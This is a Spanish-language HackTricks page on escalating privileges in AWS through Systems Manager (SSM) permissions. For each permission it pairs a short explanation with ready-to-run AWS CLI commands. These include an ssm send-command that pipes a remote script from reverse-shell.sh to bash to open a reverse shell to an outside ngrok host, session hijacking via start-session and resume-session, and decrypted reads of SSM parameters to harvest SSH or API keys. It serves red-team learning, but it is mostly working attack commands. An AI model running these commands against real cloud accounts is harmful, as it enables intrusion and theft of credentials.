AWS - SSM Privesc

Aprende hacking en AWS desde cero hasta experto con htARTE (Experto en Red Team de HackTricks en AWS)!

Otras formas de apoyar a HackTricks:

SSM

Para más información sobre SSM, consulta:

pageAWS - EC2, EBS, ELB, SSM, VPC & VPN Enum

ssm:SendCommand

Un atacante con el permiso ssm:SendCommand puede ejecutar comandos en instancias que ejecutan el Agente Amazon SSM y comprometer el Rol IAM que se está ejecutando dentro de ella.

# Check for configured instances
aws ssm describe-instance-information
aws ssm describe-sessions --state Active

# Send rev shell command
aws ssm send-command --instance-ids "$INSTANCE_ID" \
--document-name "AWS-RunShellScript" --output text \
--parameters commands="curl https://reverse-shell.sh/4.tcp.ngrok.io:16084 | bash"

En caso de que estés utilizando esta técnica para escalar privilegios dentro de una instancia EC2 que ya ha sido comprometida, simplemente puedes capturar la reverse shell localmente con:

# If you are in the machine you can capture the reverseshel inside of it
nc -lvnp 4444 #Inside the EC2 instance
aws ssm send-command --instance-ids "$INSTANCE_ID" \
--document-name "AWS-RunShellScript" --output text \
--parameters commands="curl https://reverse-shell.sh/127.0.0.1:4444 | bash"

Impacto Potencial: Escalada de privilegios directa a los roles IAM de EC2 adjuntos a las instancias en ejecución con agentes SSM en funcionamiento.

ssm:StartSession

Un atacante con el permiso ssm:StartSession puede iniciar una sesión similar a SSH en las instancias que ejecutan el Agente SSM de Amazon y comprometer el Rol IAM que se está ejecutando dentro de ella.

# Check for configured instances
aws ssm describe-instance-information
aws ssm describe-sessions --state Active

# Send rev shell command
aws ssm start-session --target "$INSTANCE_ID"

Para comenzar una sesión, necesitas tener instalado el SessionManagerPlugin: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html

Impacto potencial: Escalada de privilegios directa a los roles IAM de EC2 adjuntos a las instancias en ejecución con agentes de SSM en funcionamiento.

Escalada de privilegios a ECS

Cuando las tareas de ECS se ejecutan con ExecuteCommand habilitado, los usuarios con suficientes permisos pueden usar ecs execute-command para ejecutar un comando dentro del contenedor. Según la documentación, esto se logra creando un canal seguro entre el dispositivo que se utiliza para iniciar el comando "exec" y el contenedor de destino con SSM Session Manager. Por lo tanto, los usuarios con ssm:StartSession podrán obtener una shell dentro de las tareas de ECS con esa opción habilitada simplemente ejecutando:

aws ssm start-session --target "ecs:CLUSTERNAME_TASKID_RUNTIMEID"

Impacto potencial: Escalada de privilegios directa a los roles de ECSIAM adjuntos a las tareas en ejecución con ExecuteCommand habilitado.

ssm:ResumeSession

Un atacante con el permiso ssm:ResumeSession puede re-iniciar una sesión similar a SSH en las instancias que ejecutan el Agente Amazon SSM con un estado de sesión SSM desconectado y comprometer el Rol IAM que se está ejecutando dentro de ella.

# Check for configured instances
aws ssm describe-sessions

# Get resume data (you will probably need to do something else with this info to connect)
aws ssm resume-session \
--session-id Mary-Major-07a16060613c408b5

Impacto Potencial: Escalada de privilegios directa a los roles de IAM de EC2 adjuntos a las instancias en ejecución con agentes de SSM en ejecución y sesiones desconectadas.

ssm:DescribeParameters, (ssm:GetParameter | ssm:GetParameters)

Un atacante con los permisos mencionados podrá listar los parámetros de SSM y leerlos en texto claro. En estos parámetros, a menudo se puede encontrar información sensible como claves SSH o claves API.

aws ssm describe-parameters
# Suppose that you found a parameter called "id_rsa"
aws ssm get-parameters --names id_rsa --with-decryption
aws ssm get-parameter --name id_rsa --with-decryption

Impacto potencial: Encontrar información sensible dentro de los parámetros.

ssm:ListCommands

Un atacante con este permiso puede listar todos los comandos enviados y, con suerte, encontrar información sensible en ellos.

aws ssm list-commands

Impacto Potencial: Encontrar información sensible dentro de las líneas de comando.

ssm:GetCommandInvocation, (ssm:ListCommandInvocations | ssm:ListCommands)

Un atacante con estos permisos puede listar todos los comandos enviados y leer la salida generada, con suerte encontrando información sensible en ella.

# You can use any of both options to get the command-id and instance id
aws ssm list-commands
aws ssm list-command-invocations

aws ssm get-command-invocation --command-id <cmd_id> --instance-id <i_id>

Impacto potencial: Encontrar información sensible dentro de la salida de las líneas de comando.

Codebuild

También puedes usar SSM para acceder a un proyecto de codebuild en construcción:

pageAWS - Codebuild Privesc
Aprende hacking en AWS desde cero hasta experto con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

Última actualización